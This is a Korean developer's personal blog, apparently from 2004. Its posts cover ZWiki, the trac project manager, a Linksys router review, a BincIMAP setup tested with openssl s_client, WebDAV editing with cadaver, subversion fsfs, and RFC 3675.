오는 길에는 이번에 알게 된 ETRI에서 공개소프트웨어를 연구하는 분과 동행했습니다. 오는 길에 먹었던 기내식이 참 마음에 들었는데, 기내식에 대한 부푼 기대와 함께;; 역시 오는 길의 기내식도 어찌나 맛있던지.. 며칠동안 중국음식을 먹어서 눈물이 주루룩;; -O-;; 인천공항에 도착해서 나왔는데, 뭔가 별로 베이징공항과도 다른 느낌이 없는 것이.. 일본 사람들이 베이징이나 서울이나 별로 다른 점을 못 느낀다고 하는 것이 참 몸으로 와 닿는군요.. 비슷비슷~ 뭐 물론, 건물이 띄엄띄엄있던게 붙어있다는 것은 좀 다르긴 하네요;;

이번 코드페스트 덕분에 병특기간인데도 즐겁게 밖에도 다녀오고, 운이 좋았던 것 같습니다. 이제 병특이 끝나면 무슨 일만 있으면 열심히 나가야겠습니다..! PyCon도 가고 OSCON도 가고~ (신났다;) --- 그러나 아직은 병특 ㅡㅢ

그동안 수년동안MoinMoin을 써 왔는데, 블로그도 Zope 기반으로 옮기고 할 겸해서, 위키위키도 덩달아서 Zope기반의 위키 중 대표적인ZWiki로 옮기려고 잠시 시험해 보았습니다.

한 2년 전쯤이었나요.. 썰렁해서 뭐가 있는지도 잘 모르겠던 그 ZWiki가 이제 뭔가 기능이 있어 보이는게, ZWiki가 많이 발전했거나, 제가 zope식의 간단한 프로그램에 익숙해졌거나 둘 중의 하나일 것 같군요;; 예전에는 글을 어떻게 추가하는지도 참 막막했는데, 이제 메뉴가 모인모인보다도 더 간편합니다. 흐흐~

모인모인 문법도 지원!

전에는 reStructuredText로 위키를 작성하려면 참 막막했는데, 이제 시대의 조류에 맞게 모인모인 문법도 지원하는군요! 그래서 ZWiki 최근 버전에서는 이런 문법이 지원됩니다.

• StructuredText

• reStructuredText

• HTML

• Plain Text

• WikiWikiWeb문법

• MoinMoin문법

약간 링크를 사용하는 데 있어서는 모인모인과 다른 것이 있긴 한데, 테이블 같은 것이 쉽게 지원되는 것만 해도 정말 감지덕지입니다.~ 몇 개를 시험삼아 Zwiki로 옮겨 봤는데, 깔끔하게 잘 보이는 것이 금방 다 옮길 수 있을 것 같더군요.

국제화 지원

모인모인 1.3의 장점으로 거의 이제 정점에 다다른 국제화를 꼽을 수 있는데, ZWiki도 모인모인 1.3을 많이 벤치마크해서 국제화에 신경을 많이 쓴 듯 합니다. 이제 페이지 이름, 링크, 문법 등에서 한글을 쓰는데 거의 문제가 없네요~ 그리고, 메시지 국제화도 신경쓰고 있는데, 아쉽게도 아직 한국어 번역은 들어가 있지 않습니다. 이제 ZWiki도 깔았겠다, 번역을 슬슬 해 봐야겠군요.. 크크..

Zope에서 메시지 번역을 써 보기는 처음이긴 한데, 방법이 제법 어색했습니다. 처음에는 Localizer와 iHotFix, itools를 깔라고 써 있길래 다 깔았더니만, 자꾸 Zope가 세그폴트가 나서 파이썬의 스택 사이즈를 올려서 컴파일도 해 주고 했습니다. 그랬더니 이제 거의 무한루프 수준으로 iHotFix쪽 코드가 빙글빙글 돌면서 제대로 동작하지 않았는데, 가만히 구글 검색을 해 보니까PlacelessTranslationService라는 것도 깔라고 해서 깔고 해 봤는데, 결국은PlacelessTranslationService를 깔고, Localizer랑 다른 모듈들은 모두 제거하니까 번역이 모두 깔끔하게 올라오는 것입니다. 흐흐 시험삼아 번역해 본 한국어 단어도 몇개 보이고 좋군요~

ZWiki도 첨부 파일이 지원되지 않는 등 기능은 모인모인에 비해 다양한 편은 아니지만, 간단하게 쓰기에는 모자라지 않고 써 볼만 한 듯 합니다. 이제 스킨 바꾸는 방법만 터득하면 오픈룩도~

원래 애플 에어포트 스테이션을 장호언니께 빌려서 사용하고 있다가, 에어포트 스테이션의 고질적인 몇몇 문제로 인해 결국은 그냥 공유기를 하나 사게 되었습니다. 흐흐. 화장실에서 마비노기도 하고 쇼핑몰도 둘러보고 코딩도 하고 하는 것의 유혹은~~ +_+

뭐가 좋을지 한참 고민을 하다가 결국 삼콤과 링크시스 사이에 고민을 하게 되었습니다. 그러다가 링크시스가 아무래도 공유기 경험은 더 많고,"A division of Cisco Systems"라는 후광 효과로;; 결국은 링크시스를 골랐습니다. 가격은 10만 5백원. 다나와에서 찾아보니 9만8천원 정도까지도 파는 곳이 있었습니다.

링크시스 WRT54G와 트리쯔 TZ3220E

아 역시 배송을 받아보니, 뽀대가 저절로 묻어 나오는 저 디자인.. 삼콤사의 추리한 베이지색 박스보다는 훨씬 낫군요.뭔가 그냥 안 쓰고 놔두기만해도 폼이 납니다.~기본 스펙은 이렇습니다.

• 유선 공유 100BaseT 4포트

• 무선 802.11g, 11b 모두 지원

• 무선 보안 WEP, WPA, WPA/PSK 지원

• WAN측 DHCP, Static IP, PPPoE, PPTP, L2TP 지원

• DDNS 등록 기능 지원

• MAC 주소 클론 지원

• MAC 기반 무선 랜 필터링 지원

• 시간, 날짜, 요일 기반 액세스 컨트롤 (호스트, 포트) 지원

• DMZ 호스트 (모든 포트 한 호스트로 몰아주기) 지원

• QoS 지원

• NAT 로깅 지원

이야.. 역시 스펙만 봐도 다른 공유기들하고 쉽게 비교가 안 됩니다. 저는 아직 안 써보긴 했지만 L2TP와 PPTP를 지원한다는 것을 보니 잘 쓰면, VPN 라우터처럼도 쓸 수 있을 것 같군요! (회사에 연결해서 한번 써 볼까~ 흐흐) DDNS 등록 기능이나 NAT 로깅 같은 것은 정말 사소한 기능임에도 불구하고 메뉴 속에 잘 녹아서 깔끔하게 지원되고 있는 것을 보면, 일정에 쫓겨서 개발한 것이 아니라 여유를 두고 기능을 골고루 개발해서 집어넣은게 아닐까 생각됩니다~

네트워크 성능은 뭐 저희 집에서 쓰는게 ADSL Lite라서 원래 속도가 별로 안 나오긴 하지만;; 유선과 무선 모두에서 700KB/sec 정도까지도 다운로드가 됩니다. 그냥 바로 모뎀에 붙여 쓰는거랑 별 차이가 없군요~ 하나 아쉬운 점이 있다면, 한국에 수입되면서 설정 메뉴나 2페이지짜리 설정 매뉴얼조차 한국어로 번역되지 않은 점.. 뭐 이런 것 말고는 가격에 비해 아주 과분한 장비입니다. 강력 추천!

회사에서 RoundUp을 잠시 쓴 적이 있습니다. 이게 제법 유명한 것이기는 하지만, 생각보다 너무 상태가 좀 그렇습니다;; 기본 기능에 너무 충실하다보니.. 이슈 트래커 외의 기능을 전혀 갖추고 있지 않고, 이슈 트래커 기능 자체가 단순한 듯 하면서도 복잡한데 속도가 또 엄청 느려서.. 오래 쓰기는 좀 그렇더군요.

그래서, 대체품으로 요즘 잘 나가는 오픈소스 프로젝트 관리 환경인 trac을 설치한지 이제 2주가 조금 넘어서고 있습니다. 2주동안 trac으로 프로젝트를 하면서 아주 즐거웠던 것을 생각해 보면, 사람을 기분 좋게 만들 수 있는 소프트웨어 중 하나임에는 분명한 것 같아서, 다른 분들도 써 보시라고 기능을 소개해 드립니다. :)

Trac

Trac은 subversion과 연계된 프로젝트 관리 도구입니다. 기본 이념이 minimalist를 표방하고 있기 때문에, 대부분의 기능이 돌아가기 위한 최소 스펙으로 구현이 되어 있습니다. 사실 디자인도 minimalist였으면 좀 거부감이 있었을텐데, 디자인은 아주 깔끔한 편입니다. 하여간 기본적으로 프로그램 전체가 파이썬으로 작성되어 있는데, CGI 모드와 tracd라는 전용 웹 서버 모드를 지원합니다. 저는 CGI 모드로 사용하고 있는데, 보통의 파이썬 CGI들이 엄청난 속도로 사용자들을 당혹케 하는 경향이 있지만, trac은 엄청나게 빠릅니다! 과연 이게 파이썬인가 믿기지 않을 정도입니다. 흐흐. 아무래도 C로 작성된 템플릿 라이브러리인 clearsilver를 깔고 있어서 그런게 아닌가 싶은데, 하여간 clearsilver외에도 sqlite를 DBMS로 사용하고, 저장소에 접근하기 위해서 python-subversion이 필요합니다.

문서 관리 및 대문 관리 - 위키

전체보기

trac은 텍스트가 들어갈 수 있는 모든 부분에 위키 포매팅을 사용하고 있습니다. 즉, 위키 페이지를 문서화를 위해서 쓸 수 있을 뿐만 아니라, 이슈 트래커의 본문이나 심지어 subversion 커밋 로그에서도 위키 포매팅이 지원됩니다. 문법은 모인모인과 매우 비슷하기 때문에, 많은 사람들이 어렵지 않게 익힐 수 있게 되어 있습니다. 그리고 [리비전]이나 #이슈번호같은 형식의 빠른 링크를 지원하기 때문에 커밋 로그와 이슈, 위키 간의 아주 긴밀한 상호 링크가 가능합니다.

물론 위키에는 첨부파일 올리는 것이 가능해서, 문서 및 리소스 관리용으로 아주 유용합니다.

변경 사항 한 눈에 살펴보기 - 타임 라인 (시간 순 이력)

전체보기

trac은 timeline이라는 독특한 페이지를 또 제공하고 있는데, 보통 위키에서는 RecentChanges로 페이지 이름이 붙는 것과 비슷한 역할을 합니다. timeline은 위키 페이지들의 변동사항 뿐만 아니라 커밋 로그나 이슈 트래커 변동사항까지 시간 순으로 볼 수 있도록 하고 있어서 전체의 변동 사항을 한 화면에 볼 수 있어서 흐름을 파악하기 아주 좋습니다.

진행 사항 단계별 파악! - 로드맵

전체보기

trac에서는 subversion 리비전과는 별도로 version과 milestone개념을 지원합니다. milestone을 따로 나눠 둠으로서 올라오는 이슈들 중에 각 마일스톤에서 해결되지 않은 것이 얼마나 남았는지, 얼마나 급한 것인지 한 눈에 알아볼 수 있도록 하고 있는데, 바로 그 상황을 볼 수 있는 곳이 Roadmap 메뉴입니다. Roadmap 메뉴는 컴포넌트별로 각 부분의 이슈들이 해결된 것이 얼마나 되는지 한 눈에 볼 수 있도록 예쁜 그래프로 표시해 줍니다.

버그 추적에는 필수~ 소스 둘러보기

전체보기

trac은 subversion과 아주 긴밀하게 연계가 되어 있기 때문에, 자체적으로 viewcvs같은 웹 인터페이스를 지원해 줍니다. 사실 이 기능은 trac의 주 기능도 아닌 편이긴 하지만, 오히려 viewcvs보다 기본적인 기능에는 아주 충실한 편이라서 거의 불편함이 없을 정도로 잘 만들어 두었습니다. annotate같은 기능이 빠진 것은 좀 아쉬운 편이지만, 리비전 지정한 채로 왔다갔다하기, 리비전 로그 보기, 소스 하이라이트 같은 것은 잘 지원되고 있으며 무엇보다 viewcvs보다 압도적으로 빠르다는 점이.... 흐흐

새로운 문제점 등록 - 티켓 올리기

전체보기

trac에서는 다른 곳에서"issue"나"problem report"라고 부르는 것을 자체적인 용어로"ticket"이라고 부릅니다. 그게 통상적으로 사용되는 용어인지는 모르겠지만.. trac에서는 일관적으로 통일해서 티켓이라고 합;; trac의 ticket 등록은 최상위 메뉴에 있을 만큼 주요된 기능 중의 하나인데, 버그 등록자는 꼭 trac 안의 인증된 사용자일 필요 없이 자기 메일 주소를 쓸 수도 있기 때문에, 아무나 등록하게 할 수도 있습니다.

티켓을 등록할 때에는 위키 포매팅을 쓴 본문도 가능하며, 치명도, 우선순위, 컴포넌트, 버전, 마일스톤 같은 것들을 명시해 줄 수 있습니다. 물론, 티켓 올린 다음에 답글을 달면서 상태를 바꾸는 것도 당연히 지원 됩니다. 흐흐

등록된 티켓들을 검색 - 리포트

전체보기

trac에서 report의 기본적인 용도는 등록된 티켓의 검색입니다. 티켓을 나열할 수 있는 갖가지 방법 들로 기본적으로 10개 정도를 제공해 주고 있습니다. (마일스톤별, 우선순위별, 담당자별, 해결되지 않은 문제들만 보기 등등..)

SQL이면 뭐든! - 사용자 지정 리포트

전체보기

trac의 기본 목표를 정말 완벽히 실현하고 있는 곳이라면 바로 사용자 지정 리포트 부분입니다. 사실 위에서 언급한 리포트도 모두 기본으로 세팅되어 있다 뿐이지, 사용자 지정 리포트와는 구분이 없습니다. 모든 리포트는 SQL 퀴어리와 제목으로 구성되어 있습니다.즉, SQL 퀴어리만 수정해 주면 페이지가 동적으로 마구 바뀐다는 말씀! 기본적인 trac의 데이터베이스 스키마만 파악을 하면 아름다운 리포트 페이지들을 번거로운 HTML 템플릿 작업 없이 SQL 만으로도 만들 수 있습니다. 위의 스크린샷은 제가 그냥 샤샤샥~ 해서 만든 커밋 로그에서의 사용자 이름 순위입니다. 흐흐 정말 간단!

이제 grep은 번거롭다! - 검색

전체보기

흐흐 또다른 trac의 진짜 매력 포인트. 바로 검색입니다. 이 검색은 위키 페이지나, 이슈 트래커 본문에서만 검색이 되는 것이 아니라, 커밋 로그나 각 수정사항(위키 페이지, 이슈 등)의 짧은 커멘트에서 까지도 검색이 되기 때문에, 사실상 프로젝트와 관련된 대부분의 곳에서 검색을 해 주기 때문에, 뭔가 특별한 함수가 언급된 모든 곳을 찾고 싶다~ 할 때 grep으로 찾으며 고생하지 않아도 됩니다.

피할 수 없다!

이미 오픈소스 커뮤니티 들을 둘러 보면 trac을 도입하고 있는 곳이 엄청난 속도로 불어나고 있으며 오픈소스가 아닌 부분에서도 굉장히 많이 사용되고 있는 것을 발견할 수 있습니다. 파이썬에는 전혀 관심 없었던 사람들이 갑자기 파이썬을 깔다가 패키지 패치를 올리기도 하고, bittorrent에 이어서 또 다른 파이썬의 프로모션 소프트웨어가 될 것 같은 예감..

최근 python-dev에 올라온한 강사의 메일에 따르면 다음 학기에 버클리에서 파이썬 수업이 하나 있는데, 단순히 파이썬 문법을 가르치고 끝나는 것이 아니라, 실제 파이썬 프로젝트에 올라와 있는 버그를 분석해서 버그 패치를 만들고 버그 패치가 실제로 적용되기까지 파이썬 개발자들과 토론도 하다가 적용되는 것까지 실습해 볼 예정이라고 합니다.

이 글을 올린 강사는 기존의 파이썬 개발자들이 흥미를 못 느껴서 고치지 않은 간단하거나 번잡한 문제들을 추천을 해 주면, 학생들에게 시켜볼 예정이라고 합니다. 사실 엄청나게 활발하게 일하던 사람이 몇달 열심히 활동하다가 갑자기 사라지는 것들은 아무래도 열정적인 개발자들의 상당수가 이미 익숙해져서 지루함이 느껴지는 작업들은 하기 싫어서 미루다보면 쌓여서 그런 면이 큰데, 아직 오픈소스 프로젝트에 실제 참여해 본 적이 없는 전공 저학년 학생들이라면, 배우면서 입문하는 과정이다보니, 숙련된 개발자들이 하기 힘든 지루한 작업도 할 수 있지 않을까 싶군요.. (그리고 학점도 달려 있고!) 그리고, 물론 허구헌날 며칠 밤 새서 크리스마스에도 실습실에 모여 밤새며 열심히 프로젝트해서 만들어 봐야 조교한테 보여주면 쓰레기가 돼 버리는 학교 프로젝트들을 하는 것보다, 진짜 오픈소스에 불과 몇 줄 안되는 패치라도 기여가 된다면, 보람도 있고 젊음을 낭비하는 느낌도 훨씬 적게 들 것 같아서 아주 좋은 아이디어 같습니다.

이에 대한 답변으로 파이썬 개발팀의 마틴이자신의 경험을 얘기해 줬는데, 마틴도 비슷한 수업을 지금 진행하고 있다는군요. 아이러니컬하게도, 파이썬의 핵심 중의 핵심에 속하는 마틴의 수업을 듣는 학생들은 정작 PHP를 하고 있다고 합니다. (역시;;) PHP외에도 모질라 프로젝트에도 역시 관심을 가지는 학생들이 많아서, 그 두 프로젝트를 중점적으로 하고 있는 듯 한데, 아무래도 수업을 받는 학생일지라도, 자기가 관심이 있는 것을 하는게 능률이 훨씬 오르겠죠.. ;

마틴의 수업을 듣는 학생들은 실제로 진행에서 수업 3번째 시간부터 리뷰를 하기 시작했고, 36시간 이후에는 최종 리뷰를 하고, 곧 모질라가 코드 프리즈 기간이라 들어갈 수 없다는 이유를 설명할 정도가 됐다고 합니다. 그리고 그 이후에 코드 프리즈가 끝난 이후에는 실제로 반영이 되었고, 수업 프리젠테이션으로 그 과정을 설명하였다고 합니다.

하나 문제가 생길 수 있는 것은 아무래도 수업과 관계없는 사람들이 프로젝트에 많이 관여되어 있는 관계로 다른 개발자들이 학생들이 보고 있던 버그를 먼저 고쳐서 집어넣어 버리면, 힘이 빠져서 할 맛이 안 나지 않겠느냐 이런 문제를 지적하고 있는데, 아무래도 문서화쪽 버그만 열심히 잡으면 (또는 문서를 쓰면) 절대로 기존 파이썬 개발자들과 겹칠 일은 없지 않을까 싶군요. 크크크 (-_-;;;;) 그래도 코드 버그가 더 재미있는데 흐흐;;

하여간, 이런 식의 수업 진행은 정말로 재미있는 것 같습니다. 지난 번 7월의 코드페스트 1회 때 파이썬 버그데이를 한번 시도해본 적은 있었지만, 아무래도 평일 내내 회사 업무로 시달리던 사람들이 주말에 와서 하루 밤새면서 일하는 것은 생산성의 한계가 있어서 오히려 그냥 집에서 따로따로 몇시간 하는게 더 효과적일 정도였습니다. 그런데, 수업은 주요 일과중의 하나이고 한번만에 연속적으로 하고 끝나는 게 아니라 중간 중간 여유가 충분히 있으니까, 오픈소스 개발 과정을 생산적으로 배우기는 아주 좋은 방법이 아닐까 합니다.

저도 내년이면 3학년으로 복학하는데.. 졸업하기 전에 이런 수업 안 생기려나요.. --;;;

요즘 업무 상 한글 파일 이름을 첨부로 받는 메일이 많아지면서, gmail로 받는게 좀 불편해서 한번 말로만 들어 왔던천둥새를 설치했습니다. 천둥새 아.. 역시 소문대로 아주 좋네요. 스팸 메일 처리하는 것이 특히!spamassassin에 피드백 넣기가 정말 불편했었는데..

그런데, POP으로 받으려니 집 데스크탑, 바이오, 아이북, 회사 데스크탑 4대에서 다 따로따로 메일이 받아지니, 메일이 어디로 갈 지도 모르고 메일함 관리도 안 되고 상당히 불편해서 IMAP을 설치해 보려고 마음을 먹었습니다. 예전에 설치해 봤던 courier-imap은 가장 기본적인 서비스만 쓰는데도 데몬이 10개가 넘게 뜨니.. 부담스럽기가 한이 없어서, 다른 것을 찾아보던 중에BincIMAP을 찾았습니다. 이놈은 qmail을 좋아하는 사람이 qmail 스타일로 만든 것이라 상당히 모듈라하게 만들어서 courier-imap같지 않게 그냥 daemontool이나 xinetd에서 서비스당 1개씩만 뜰 수 있도록 되어있어서, 리소스 절약에 큰 도움이 될 것 같은 예감이!

결국 포트로 설치는 했는데, 이게 포트에서는 서비스 등록이라던지 이런게 하나도 안 되어 있어서 --; 결국은 수동으로 README 문서 보면서 설치하고 나니 거의 30분이 걸리는군요. (xinetd를 한 번도 안 써봐스.. 흐흐;) 그리고 생짜 imap은 아무래도 쓰기가 껄끄러워서 SSL을 세팅하고 나니 거의 1시간이.. 흐흐.. CA도 만들고~ -ㅇ-. 그런데, 세팅하는 도중에 Bincimap의 문서에서 아주 좋은 팁을 하나 발견했는데, 보통 raw 세션은 telnet으로 간단하게 테스트를 할 수 있지만, SSL 세션은 테스트하려면 클라이언트를 만들거나 stunnel같은 걸 쓰거나 상당히 불편한 편인데, Bincimap 문서 중에 테스트하는 방법이 간단하게 쓰여 있었습니다.

miffy(perky):~% openssl s_client -connect openlook.org:993 -crlf 
CONNECTED(00000003)
depth=1 /C=KR/ST=Seoul/O=OpenLook Initiatives/CN=Hye-Shik Chang/emailAddress=perky@FreeBSD.org
verify error:num=19:self signed certificate in certificate chain
verify return:0
---
* OK Welcome to Binc IMAP Copyright (C) 2002-2004 Andreas Aardal Hanssen at 2004-11-21 18:52:27 KST

openssl을 이렇게 쓰는 방법이 있었다니 흐흐. 앞으로 SSL 테스트하는데 꼭 써먹어야..

bincimap은 메모리도 SSL 세션에서 4메가도 안 쓰고, 평소에는 그냥 xinetd만 떠 있어서, courier-imap에 비하면 정말 있는둥 마는둥! 그리고 기본 기능도 크게 떨어지는 것도 없어서 좋습니다~. awkn`n님 말씀에 의하면 데비안에서는 설치도 간단하다니 좋군요.

토끼군에 못지 않게 이런 저런 삽질을 좋아하는 옥균이의 재미있는 프로젝트Paper Cup이 열렸군요.

Paper Cup은 msnm에서 익명으로 아무나 연결해서 대화를 할 수 있는 중계 봇인데, 앞으로 용도가 대충 예상은 되지만.. 상대 성별을 지정할 수가 없어서.. =3=33

papercup

(구현은 jmsnlib 기반이라고 합니다~)

흐흐 오랜만의 노는 주말이라서 밀린 빨래하고 방청소하고 그러니 정신이 없군요. 세탁기를 3번 돌렸더니만 빨래를 널 곳도 없고;; -O- 역시 집을 청소하고나니"그래, 이것이 사람의 삶이구나!"-O-

밀린 메일을 읽던 중에 PSF 내부 메일링에서 ASF얘기를 봤습니다. 내용은 ASF가 흔히 오픈소스 재단들이 받는 기부금 외에중고차를 받는 다는 얘기를 듣고서는 PSF에서도 그와 비슷한 것을 해 보면 어떤가 하는 얘기였습니다.

ASF에서는Car Program LLC라는 기부 중계 전문 기업을 통해서 받고 있는 듯 한데, 직접 처리하면 세금도 들고 처리하기도 힘들고 한데, 여기를 통해서 기부하면 세금도 없고 물론 다른 과세에서 면제도 되고 쉽게 처리할 수 있어서 좋다는군용~ 많은 재단들이 실제로 기부금을 받아 봤자, 개발자들 자신이 기부하는 게 반이 넘는 실정에서 이렇게라도 기부를 받아 보려는 ASF의 노력이 참 애처롭군용. -O- 앞으로는 중고 노트북이나 중고 책같은 것도;; 흐흐

그러나, PSF쪽에서는 이게 실제로는 회사에만 이익이 엄청나게 가고, 재단이 갖게 되는 수익은 극히 일부에 불과하기 때문에, 거의 사기라는 의견이 대세라서, 이런 방법을 채택하게 되지는 않을 것 같습니다. 멤버 한 명은 진짜로 구세군에 중고차를 기부해 봤는데, 실제로 자기가 중고차를 팔면 받을 수 있었을 만한 돈보다 아주 적은 돈이 기부되었다고.. -O-

바이오에 어제 들어온 GNOME 2.8.1을 깔았습니다! +_+

므흐흐. 이상하게도 1280x768이 안 잡혀서 한참 고생하긴 했는데, 웹을 좀 뒤져 보니 카드 자체의 문제라서 펌웨어 패치를 해 줘야한다는군요 -.- 그래서 패치를 해서 띄워줬더니 계속 1024x768로 나오다가 1280x768로 나오니 어찌나 멋있던지

GNOME 2.8에서 가장 눈에 띈 것은 빨리 실행 아이콘을 만들 때 인터페이스가 무척 친절해 졌고, 웹브라우저에서 압축파일을 다운 받으면 바로 fileroller가 떠서 압축파일 안에 들은 파일들을 다른데다 끌어다 놓을 수 있다는 점! +_+ 아 정말 좋네요!

요즘OpenLook을 대폭 개편하려고 짬짬이 Zope위에서 이것 저것 고쳐보고 있습니다.coreblog는 꽤 잘 만들어져 있어서, 고치고 놀기에도 정말 재미있네요. 회사에서 하는 PHP노가다가 이렇게 재미있었으면 무지 좋았을텐데 아쉬워요.. 흐. -o-

외부 에디터 없던 시절의 Zope질..

그런데, 아무래도 웹에서 textarea에서 dtml 길고 여러 파일에 나뉘어 있는 것을 고치려면 무리라서.. 일단은 mozex로 vim을 textarea로 불러다가 어느정도 하는 걸로 만족을 했습니다. 그런데, 이런 방법의 문제점은 꼭 저장을 하고 에디터 종료하고 또 textarea를 한 번 클릭해 주고 (안 하면 적용 안 됨;;) 그리고 Save를 눌러야 해서.. 한 번 테스트를 하려면 기나긴 여정이.. 게다가 동시에 에디터를 여러개 열어놓고 수정할 수도 없어서, 1줄 고치고 테스트하고 뭐 이런 식으로 하는 것이 정말 어려웠습니다. ㅠ.ㅠ

eclipse

그러다가 생각난 것이.eclipse! 요즘 가장 진보된 기술들을 가득 담아서 나왔다고 들어서.. 해 봤습니다. 역시나 WebDAV 플러그인도 있고! 그래서 잔뜩 기대를 하고 100메가 가까이 되는 걸 다 설치를 했는데. 으흐흑 Zope에서는 인증 안 된 사용자는 PROPFIND를 허용하지 않는데, eclipse에서는 인증 정보를 아무리 넣어 줘도 인증 정보 없이 PROPFIND를.. 그래서 이를 악물고그래 해볼테면 해보자!하고 Security에서 Anonymous의 WebDAV 접근을 허용하고 했는데.. 결국 돌아온 것은.. 두둥 ..Internal Error.. ⓞTL

HTMLKit

좀 더 검색을 하다보니, 윈도우 전용으로HTMLKit이라는 것이 아주 좋다는 메일을 발견했습니다. 아 그래, 공짜인데 나쁠 것 없지~ 하고 다운 받아서 설치를 했는데, UI도 아주 깔끔하고 괜찮았는데, DAV가 지원되지는 않았습니다. 그래도 FTP 지원이 상당히 좋아서, FTP 사이트를 연결해도 거의 로컬에서 에디트 하듯이 리스트도 보이고 좋았습니다. 탭 전략 조절도 아주 자유롭고.. 거의 이 정도면 완벽이 아닐까 싶었는데.. 헛!! 이런!! 인코딩 지원이.. 쏙 빠져 있는 것... 거의 20개에 달하는 환경 설정 탭 여기저기에 숨겨 놓음직도 한데.. 왜 인코딩 변경이 안 되는 것인가! ... 웹에서 찾은 대답은.. 지역화 지원 패키지는 유료라는군요.. -o-;;;

자연으로 돌아가자 --; cadaver

그래.. 그냥 커맨드 라인이라도 편하기만 하면 괜찮지 하고 자연으로 돌아와 버렸습니다. (윈도우는 왠지 아파트 같고, 유닉스는 숲속의 통나무집 같은 기분이 알게 모르게 느껴지는.. 흐흐;;) 커맨드 라인으로 유명한 것이cadaver라는 것이 있는데, 이게 아무래도 webdav.org 사이트에서 직접 호스팅 되는거라 그런지 품질은 아주 좋은 느낌이.. 마침 포트에도www/cadaver로 등록이 되어있어서, 딱 좋군요~ 흐흐 그래서 딱 띄워 보니까, 오우!!

miffy(perky):~% cadaver http://openlook.org:8080/wiki/ 
Authentication required for Zope on server `openlook.org':
Username: perky
Password:
dav:/wiki/> ls
Listing collection `/wiki/': succeeded.
Coll:   images                                 0  Oct 31 22:40
Coll:   methods                                0  Oct 25 23:28
... 중략 ...
dav:/wiki/> edit index_html
Locking `index_html': succeeded.
Downloading `/wiki/index_html'to /tmp/cadaver-edit-cuYxET
Progress: [=============================>] 100.0% of 28561 bytes succeeded.
Running editor: `/usr/local/bin/vim /tmp/cadaver-edit-cuYxET'...
(vim이 뜸)
dav:/wiki/> help
Available commands:
 ls         cd         pwd        put        get        mget       mput
 edit       less       mkcol      cat        delete     rmcol      copy
 move       lock       unlock     discover   steal      showlocks  version
 checkin    checkout   uncheckout history    label      propnames  chexec
 propget    propdel    propset    search     set        open       close
 echo       quit       unset      lcd        lls        lpwd       logout
 help       describe   about
Aliases: rm=delete, mkdir=mkcol, mv=move, cp=copy, more=less, quit=exit=bye

이렇게 히야.. 정말 명령도 DAV에 특화된 여러가지 명령들이 있고, 사실 유일한 필요한 기능인 ls랑 에디터가 바로 된다는 점이.. 으흐흐;; screen 안에서 cadaver로 에디터 4개 띄워놓으니 딱 편하네요. +_+ 게다가 명령행에서 readline도 먹어서 자동 완성도 됩니다~

이렇게 편하게 DAV에 들어있는 파일 수정을 하니까 어찌나 편하던지.. 웹 브라우저에서 mozex 쓰던 떄의 한 5배 속도로 작업을 할 수 있더군요;; 흐흐 진작~

이제 강태욱님 추천으로 zwiki도 깔고 이것 저것 해 보고 있는데, 아무래도 곧 openlook 안에 있는 건 다 zope 기반으로 옮길 수 있을 것 같고.. 이제 슬슬 bbs.python.or.kr도 zope 기반으로 옮길 수 있도록 봐야겠습니다~

추석동안에 소리 소문없이 슬쩍 subversion 1.1이 stable release로 나왔네요. 그동안 회사에서 "으악~~ DB가 깨졌어~~" 소리가 하루 종일 열댓번씩은 났던 것을 생각해 보면, subversion 1.1에서 나왔다는 fsfs는 정말 기대가 됐습니다.

그래서 냉큼 subversion 1.1을 깔고 레포지트리를 덤프 뜬 다음에 fsfs로 바꿔버렸습니다. 리비전이 1200정도 되는데, 워낙 서버가 느려서 한 5분 정도 걸리는군요.. 그런데 게다가 woody라서 그나마 나오는 패키지도 다 옛날 버전이고.. 흐흐흐; 그냥 간단하게 ./configure 했더니 버클리DB 없이 컴파일했다는 워닝이! 캬! 그래 이게 바라던 거였어! (subversion으로 인해 버클리DB에 쌓인 감정이 많다..;)

원래는 레포지트리/db/db.00* 와 레포지트리/db/log.00* 파일들이 흉칙하게 남아있었는데 이제는 fsfs로 하면 레포지트리/db/{revs,revprops,transactions} 밑에 숫자 1~5자리 정도로된 파일이 수백개씩 들어갑니다. 다행히 리비전 1개에 파일이 1개... (리비전 1개의 파일당 1개였으면 --;) FreeBSD 레포지트리처럼 리비전이 80000쯤 되면 디렉토리당 파일이 80000개 -ㅇ- 뭔가 대책이 필요합니다 =.=; 그런데, 처음 fsfs 말을 들었을 때 기대했던 CVS처럼 사람 눈에게도 친절한 포맷은 아닙니다. 그렇다고 완전 못알아 볼 포맷도 아니긴 하지만.. 하여간 RCS는 아니군요 (별 기대를 -ㅇ-)

속도는 특별히 버클리DB로 쓸 때보다 차이가 있는 것 같지는 않습니다. blame이 좀 느리다는 얘기를 들었는데 체감 속도로는 별 차이가 안 나는군요.. (어차피 느려서;;)

대충 아무렇게나 막 while루프로 svn에 접속시켜봤는데, 버클리DB를 쓰던 시절 같으면 금세 깨져버렸을텐데 아직 멀쩡한 걸로 봐서, 그런대로 안 깨진다는 것은 사실인 듯 합니다. 이제 마음 졸이며 DB 복구하는 시절은 갔군요. 으흐히;;

으흐흐. 정말 오랜만입니다. 추석에 집에 갔는데 노트북 어댑터를 놔두고 가는 바람에 전원 안 들어오는 노트북을 부여잡고서는 --;; ;_;

지난 주에는 퇴근길에 읽을 만한 문서를 보다가 rfc:3675 를 인쇄했습니다. rfc3675 .sex Considered Dangerous는 98년부터 꾸준히 있어왔던 .sex 도메인에 대한 역사적인 문제점들을 다루고 있습니다. .sex TLD의 기본 목적은 애들한테 유해하다고 판단되는 야싸이트들을 .sex로 분리해서 쉽게 막을 수 있도록 하자는 것인데, rfc3675에 따르면 98년부터 미국 의회나 여러 사회단체에서 꾸준히 ICANN에 압력을 넣고 있었다고 합니다. 그렇지만, ICANN에서 꿋꿋히 저항해서 결국은 아직도 안 들어가고 있다고 하는데, rfc3675에서는 그 이유에 대해서 이모저모 아주 요약된 설명을 하고 있습니다.

기본적으로 .sex를 주장하는 목적은 .sex에 18세 미만이 접근할 수 없는 사이트들을 분리하고, .kids에 애들한테 안전한 사이트를 넣고, 마지막으로 위험한 사이트들을 IP에서 특정 영역으로 분리해서, 애들한테 라우팅을 안 해 주는 것 까지 포함하고 있습니다.

rfc3675의 저자는 여러가지 이유에서 이런 것을 반대하고 있는데 대충 요약하면 이렇습니다.

• 나라마다 미성년자 기준이 다르다. 대부분은 18세를 택하고 있지만, 스칸디나비아 반도에서는 17세이며, 20세인 곳도 있다.

